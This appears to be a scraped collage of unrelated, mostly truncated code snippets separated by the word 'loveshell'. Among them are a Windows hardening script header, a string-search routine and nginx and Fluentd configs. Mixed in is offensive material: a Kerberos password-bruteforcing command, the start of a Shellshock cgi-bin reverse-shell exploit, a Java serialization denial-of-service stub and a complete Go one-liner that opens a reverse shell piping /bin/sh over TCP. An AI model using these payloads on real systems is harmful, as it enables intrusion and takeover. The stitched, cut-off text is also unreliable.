loveshell

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

loveshell

:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering. 
:: Obligatory 'views are my own'. :) 
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key! 
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:

loveshell

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashSet;
import java.util.Set;

// billion-laughs-style DoS for java serialization
public class SerialDOS {

loveshell

Intro

The plan is to create a pair of executables (ngrok and ngrokd) that are connected with a self-signed SSL cert. Since the client and server executables are paired, you won't be able to use any other ngrok to connect to this ngrokd, and vice versa.

DNS

Add two DNS records: one for the base domain and one for the wildcard domain. For example, if your base domain is domain.com, you'll need a record for that and for *.domain.com.

Different Operating Systems

loveshell

# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
  
import httplib,urllib,sys
  if (len(sys.argv)<3):
    print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
  exit(0)
  
conn = httplib.HTTPConnection(sys.argv[1])

loveshell

# Boyer Moore String Search implementation in Python
# Ameer Ayoub <ameer.ayoub@gmail.com>

# Generate the Bad Character Skip List
def generateBadCharShift(term):
    skipList = {}
    for i in range(0, len(term)-1):
        skipList[term[i]] = len(term)-i-1
    return skipList

loveshell

#!/usr/bin/python3
# openssl-heartbleed-server.py
# Check TLS clients for OpenSSL Heartbleed vulnerability.

import socketserver
import struct
import random


class HeartbleedServer(socketserver.BaseRequestHandler):

loveshell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

loveshell

require 'socket'
require 'net/http'
require 'json'

class Fluent::ApiOutput < Fluent::Output
  Fluent::Plugin.register_output('api', self)

  include Fluent::SetTagKeyMixin
  config_set_default :include_tag_key, false

loveshell

server {
    listen 80;	
	root /root/to/your/docroot;

	proxy_redirect off;
	proxy_intercept_errors on;
	proxy_set_header Host $host;
	proxy_set_header X-Real-IP $remote_addr;
	proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;